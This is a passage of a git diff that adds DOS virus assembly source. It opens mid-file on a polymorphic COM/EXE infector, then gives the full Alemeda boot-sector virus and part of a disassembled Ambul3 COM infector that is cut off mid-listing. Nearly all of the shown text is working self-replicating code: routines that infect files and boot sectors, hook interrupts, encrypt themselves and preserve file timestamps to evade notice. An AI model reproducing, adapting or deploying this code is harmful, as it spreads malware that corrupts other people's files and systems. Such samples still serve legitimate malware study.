calcnextsector + mov cx,5 + mov bx,200h +writeanothersector: + mov tempstorecx,cx + call writecurrent + call calcnextsector + add bx,200h + mov cx,tempstorecx + loop writeanothersector + + mov curhead,0 + mov cursector,1 + mov bx,0 + call writecurrent + clc ; indicate success +exitwritevirus: + retn + + +readcurrent: + mov readwritecurrentdata,201h + jmp short doreadwrite + nop +writecurrent: + mov readwritecurrentdata,301h + jmp short doreadwrite ; This is pointless. + nop +doreadwrite: + push bx + mov cx,4 + +tryreadwriteagain: + push cx + mov dh,curhead + mov dl,curdrive + mov cx,cursector + mov ax,readwritecurrentdata ; read or write? + int 6Dh ; int 13h + jnc readwritesuccessful + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop cx + loop tryreadwriteagain + + pop bx + pop bx + stc ; Indicate error + retn +readwritesuccessful: + pop cx + pop bx + retn + + +calcnextsector: + inc byte ptr cursector ; next sector + cmp byte ptr cursector,0Ah + jne donecalculate ; finished calculations + mov byte ptr cursector,1 ; clear sector # + inc curhead ; and go to next head + cmp curhead,2 ; if not too large, + jne donecalculate ; we are done + mov curhead,0 ; otherwise clear head # + inc byte ptr cursector+1 ; and advance cylinder +donecalculate: + retn + + db 64h, 74h, 61h + +; read buffer starts here +; insert your favorite boot block below... +readbuffer: + jmp exit_virus + +creator db '[Z10]',0 ; Mass Produced Code Generator +virusname db '[Arachnyphobia]',0 +author db 'Abraxas',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,12000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/a/Alemeda.asm b/a/Alemeda.asm new file mode 100755 index 0000000..287ade7 --- /dev/null +++ b/a/Alemeda.asm @@ -0,0 +1,381 @@ +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH + NOP + ; + PUSH DS ;DS=0 ; ES = DS + POP ES ; + ; + MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 +A7DFC DB 27H,0,8,2 + \ No newline at end of file diff --git a/a/Ambul3.asm b/a/Ambul3.asm new file mode 100755 index 0000000..ba4566c --- /dev/null +++ b/a/Ambul3.asm @@ -0,0 +1,390 @@ +;NAME: AMBUL3.C-M +;FILE SIZE: 00330h - 816d +;START (CS:IP): 00100h +;CODE END: 00430h +;CODE ORIGIN: 00100h +;DATE: Sun Aug 16 15:45:06 1992 + +CODE SEGMENT BYTE PUBLIC 'CODE' +ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING + +P00100 PROC + ORG 0100h + +H00100: JMP H00114 ;00100 E91100 ___ +;Will be overwritten with B4 09 BA-- MOV AH,09 and MOV DX +;--------------------------------------------------- + OR [BX+DI],AX ;00103 0901 __ +;DX gets this, location of string. + INT 21h ;Indef_INT:21h-AH ;00105 CD21 _! + INT 20h ;B-TERM_norm:20h ;00107 CD20 _ +;--------------------------------------------------- + DB "Infect me!$" ;00109 496E6665637420 +;--------------------------------------------------- +H00114: CALL H00118 ; . . . . . . . . . ;00114 E80100 ___ + ADD [BP-7Fh],BX ;00117 015E81 _^_ + OUT DX,AL ;Port_OUT:DX ;0011A EE _ + ADD AX,[BX+DI] ;0011B 0301 __ + CALL H0013A ; . . . . . . . . . ;0011D E81A00 ___ + CALL H0013A ; . . . . . . . . . ;00120 E81700 ___ + CALL H002F8 ; . . . . . . . . . ;00123 E8D201 ___ + LEA BX,[SI+0419h] ;00126 8D9C1904 ____ + MOV DI,0100h ;0012A BF0001 ___ + MOV AL,[BX] ;0012D 8A07 __ + MOV [DI],AL ;0012F 8805 __ + MOV AX,[BX+01h] ;00131 8B4701 _G_ + MOV [DI+01h],AX ;00134 894501 _E_ + JMP DI ;00137 FFE7 __ +;--------------------------------------------------- + RET ;RET_Near ;00139 C3 _ +;--------------------------------------------------- +H0013A: CALL H0021B ; . . . . . . . . . ;0013A E8DE00 ___ + MOV AL,[SI+0428h] ;0013D 8A842804 __(_ + OR AL,AL ;00141 0AC0 __ + JZ H00139 ;00143 74F4 t_ + LEA BX,[SI+040Fh] ;00145 8D9C0F04 ____ + INC Word Ptr [BX] ;00149 FF07 __ + LEA DX,[SI+0428h] ;0014B 8D942804 __(_ + MOV AX,3D02h ;0014F B8023D __= + INT 21h ;2-Open_Fl_Hdl ;00152 CD21 _! + MOV [SI+0417h],AX ;00154 89841704 ____ + MOV BX,[SI+0417h] ;00158 8B9C1704 ____ + MOV CX,0003h ;0015C B90300 ___ + LEA DX,[SI+0414h] ;0015F 8D941404 ____ + MOV AH,3Fh ;00163 B43F _? + INT 21h ;2-Rd_Fl_Hdl ;00165 CD21 _! + MOV AL,[SI+0414h] ;00167 8A841404 ____ + CMP AL,0E9h ;0016B 3CE9 <_ + JNZ H001AE ;0016D 753F u? + MOV DX,[SI+0415h] ;0016F 8B941504 ____ + MOV BX,[SI+0417h] ;00173 8B9C1704 ____ + ADD DX,+03h ;00177 83C203 ___ + XOR CX,CX ;0017A 33C9 3_ + MOV AX,4200h ;0017C B80042 __B + INT 21h ;2-Mov_Fl_Hdl_Ptr ;0017F CD21 _! + MOV BX,[SI+0417h] ;00181 8B9C1704 ____ + MOV CX,0006h ;00185 B90600 ___ + LEA DX,[SI+041Ch] ;00188 8D941C04 ____ + MOV AH,3Fh ;0018C B43F _? + INT 21h ;2-Rd_Fl_Hdl ;0018E CD21 _! + MOV AX,[SI+041Ch] ;00190 8B841C04 ____ + MOV BX,[SI+041Eh] ;00194 8B9C1E04 ____ + MOV CX,[SI+0420h] ;00198 8B8C2004 __ _ + CMP AX,[SI+0100h] ;0019C 3B840001 ;___ + JNZ H001AE ;001A0 750C u_ + CMP BX,[SI+0102h] ;001A2 3B9C0201 ;___ + JNZ H001AE ;001A6 7506 u_ + CMP CX,[SI+0104h] ;001A8 3B8C0401 ;___ + JZ H00212 ;001AC 7464 td +H001AE: MOV BX,[SI+0417h] ;001AE 8B9C1704 ____ + XOR CX,CX ;001B2 33C9 3_ + XOR DX,DX ;001B4 33D2 3_ + MOV AX,4202h ;001B6 B80242 __B + INT 21h ;2-Mov_Fl_Hdl_Ptr ;001B9 CD21 _! + SUB AX,0003h ;001BB 2D0300 -__ + MOV [SI+0412h],AX ;001BE 89841204 ____ + MOV BX,[SI+0417h] ;001C2 8B9C1704 ____ + MOV AX,5700h ;001C6 B80057 __W + INT 21h ;2-Fl_Hdl_Date_Time ;001C9 CD21 _! + PUSH CX ;001CB 51 Q + PUSH DX ;001CC 52 R + MOV BX,[SI+0417h] ;001CD 8B9C1704 ____ + MOV CX,0319h ;001D1 B91903 ___ + LEA DX,[SI+0100h] ;001D4 8D940001 ____ + MOV AH,40h ;001D8 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;001DA CD21 _! + MOV BX,[SI+0417h] ;001DC 8B9C1704 ____ + MOV CX,0003h ;001E0 B90300 ___ + LEA DX,[SI+0414h] ;001E3 8D941404 ____ + MOV AH,40h ;001E7 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;001E9 CD21 _! + MOV BX,[SI+0417h] ;001EB 8B9C1704 ____ + XOR CX,CX ;001EF 33C9 3_ + XOR DX,DX ;001F1 33D2 3_ + MOV AX,4200h ;001F3 B80042 __B + INT 21h ;2-Mov_Fl_Hdl_Ptr ;001F6 CD21 _! + MOV BX,[SI+0417h] ;001F8 8B9C1704 ____ + MOV CX,0003h ;001FC B90300 ___ + LEA DX,[SI+0411h] ;001FF 8D941104 ____ + MOV AH,40h ;00203 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;00205 CD21 _! + POP DX ;00207 5A Z + POP CX ;00208 59 Y + MOV BX,[SI+0417h] ;00209 8B9C1704 ____ + MOV AX,5701h ;0020D B80157 __W + INT 21h ;2-Fl_Hdl_Date_Time ;00210 CD21 _! +H00212: MOV BX,[SI+0417h] ;00212 8B9C1704 ____ + MOV AH,3Eh ;00216 B43E _> + INT 21h ;2-Close_Fl_Hdl ;00218 CD21 _! + RET ;RET_Near ;0021A C3 _ +;--------------------------------------------------- +H0021B: MOV AX,DS:[002Ch] ;0021B A12C00 _,_ + MOV ES,AX ;ES_Chg ;0021E 8EC0 __ + PUSH DS ;00220 1E _ + MOV AX,0040h ;00221 B84000 _@_ + MOV DS,AX ;DS_Chg ;00224 8ED8 __ + MOV BP,DS:[006Ch] ;00226 8B2E6C00 _.l_ + POP DS ;0022A 1F _ + TEST BP,0003h ;0022B F7C50300 ____ + JZ H00248 ;0022F 7417 t_ + XOR BX,BX ;00231 33DB 3_ + MOV AX,ES:[BX] ;ES_Ovrd ;00233 268B07 &__ + CMP AX,4150h ;00236 3D5041 =PA + JNZ H00243 ;00239 7508 u_ + CMP Word Ptr ES:[BX+02h],4854h + ;ES_Ovrd ;0023B 26817F025448 &___TH + JZ H0024E ;00241 740B t_ +H00243: INC BX ;00243 43 C + OR AX,AX ;00244 0BC0 __ + JNZ H00233 ;00246 75EB u_ +H00248: LEA DI,[SI+0428h] ;00248 8DBC2804 __(_ + JMP Short H00280 ;0024C EB32 _2 +;--------------------------------------------------- +H0024E: ADD BX,+05h ;0024E 83C305 ___ + LEA DI,[SI+0428h] ;00251 8DBC2804 __(_ + MOV AL,ES:[BX] ;ES_Ovrd ;00255 268A07 &__ + INC BX ;00258 43 C + OR AL,AL ;00259 0AC0 __ + JZ H00276 ;0025B 7419 t_ + CMP AL,3Bh ;0025D 3C3B <; + JZ H00266 ;0025F 7405 t_ + MOV [DI],AL ;00261 8805 __ + INC DI ;00263 47 G + JMP Short H00255 ;00264 EBEF __ +;--------------------------------------------------- +H00266: CMP Byte Ptr ES:[BX],00h + ;ES_Ovrd ;00266 26803F00 &_?_ + JZ H00276 ;0026A 740A t_ + SHR BP,1 ;0026C D1ED __ + SHR BP,1 ;0026E D1ED __ + TEST BP,0003h ;00270 F7C50300 ____ + JNZ H00251 ;00274 75DB u_ +H00276: CMP Byte Ptr [DI-01h],5Ch ;00276 807DFF5C _}_\ + JZ H00280 ;0027A 7404 t_ + MOV Byte Ptr [DI],5Ch ;0027C C6055C __\ + INC DI ;0027F 47 G +H00280: PUSH DS ;00280 1E _ + POP ES ;00281 07 _ + MOV [SI+0422h],DI ;00282 89BC2204 __"_ +;********* Put "*.COM" at ES:DI + MOV AX,2E2Ah ;00286 B82A2E _*. + STOSW ;00289 AB _ + MOV AX,4F43h ;0028A B8434F _CO + STOSW ;0028D AB _ + MOV AX,004Dh ;0028E B84D00 _M_ + STOSW ;00291 AB _ +;********** + PUSH ES ;00292 06 _ + MOV AH,2Fh ;00293 B42F _/ + INT 21h ;2-Get_DTA ;00295 CD21 _! + MOV AX,ES ;00297 8CC0 __ + MOV [SI+0424h],AX ;00299 89842404 __$_ + MOV [SI+0426h],BX ;0029D 899C2604 __&_ + POP ES ;002A1 07 _ + LEA DX,[SI+0478h] ;002A2 8D947804 __x_ + MOV AH,1Ah ;002A6 B41A __ + INT 21h ;1-Set_DTA ;002A8 CD21 _! + LEA DX,[SI+0428h] ;002AA 8D942804 __(_ + XOR CX,CX ;002AE 33C9 3_ + MOV AH,4Eh ;002B0 B44E _N + INT 21h ;2-Srch_1st_Fl_Hdl ;002B2 CD21 _! + JNB H002BE ;002B4 7308 s_ + XOR AX,AX ;002B6 33C0 3_ + MOV [SI+0428h],AX ;002B8 89842804 __(_ + JMP Short H002E7 ;002BC EB29 _) +;--------------------------------------------------- +H002BE: PUSH DS ;002BE 1E _ + MOV AX,0040h ;002BF B84000 _@_ + MOV DS,AX ;DS_Chg ;002C2 8ED8 __ + ROR BP,1 ;002C4 D1CD __ + XOR BP,DS:[006Ch] ;002C6 332E6C00 3.l_ + POP DS ;002CA 1F _ + TEST BP,0007h ;002CB F7C50700 ____ + JZ H002D7 ;002CF 7406 t_ + MOV AH,4Fh ;002D1 B44F _O + INT 21h ;2-Srch_Nxt_Fl_Hdl ;002D3 CD21 _! + JNB H002BE ;002D5 73E7 s_ +H002D7: MOV DI,[SI+0422h] ;002D7 8BBC2204 __"_ + LEA BX,[SI+0496h] ;002DB 8D9C9604 ____ + MOV AL,[BX] ;002DF 8A07 __ + INC BX ;002E1 43 C + STOSB ;002E2 AA _ + OR AL,AL ;002E3 0AC0 __ + JNZ H002DF ;002E5 75F8 u_ +H002E7: MOV BX,[SI+0426h] ;002E7 8B9C2604 __&_ + MOV AX,[SI+0424h] ;002EB 8B842404 __$_ + PUSH DS ;002EF 1E _ + MOV DS,AX ;DS_Chg ;002F0 8ED8 __ + MOV AH,1Ah ;002F2 B41A __ + INT 21h ;1-Set_DTA ;002F4 CD21 _! + POP DS ;002F6 1F 